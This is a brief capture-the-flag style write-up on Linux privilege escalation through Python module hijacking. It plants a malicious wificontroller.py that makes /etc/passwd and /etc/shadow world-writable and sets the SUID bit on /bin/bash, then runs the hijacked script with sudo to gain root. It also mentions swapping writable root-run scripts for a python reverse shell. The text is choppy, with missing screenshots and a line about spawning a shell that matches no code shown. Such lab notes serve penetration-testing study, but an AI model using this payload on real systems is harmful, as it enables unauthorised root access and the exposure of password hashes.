# Python based applications escalation
If they run as root and we can write them replace them with a python reverse shell.
### Module Hijacking
This happens when the module that a script wants to use isnt imported, we can replace it with our own version.
[](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_04-23.png)
wifi\_reset.py was importing a module wificontroller and executing some commands but this wifcontroller module was absent.
[](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_04-25.png)
So ,we created our malicious **wificontroller.py** module inside the same folder i.e. **/home/walter** which had the malicious Privilege Escalation code. And executed it.
```python
import os
def stop(text,value):
os.system("chmod 777 /etc/passwd");
def reset(text,value):
os.system("chmod +s /bin/bash");
def start(text,value):
os.system("chmod 777 /etc/shadow");
```
[](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_05-37.png)
As a result of executing it, we got following results.
[](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-18_05-38.png)
BASH is having SUID bit. So, we became root with following command and read the root flag.
See? All it does it spawn a bash shell. Now lets run our sudo command “sudo /usr/bin/python /home/walter/wifi\_reset.py”.
We get root, proof.txt and this box is done.
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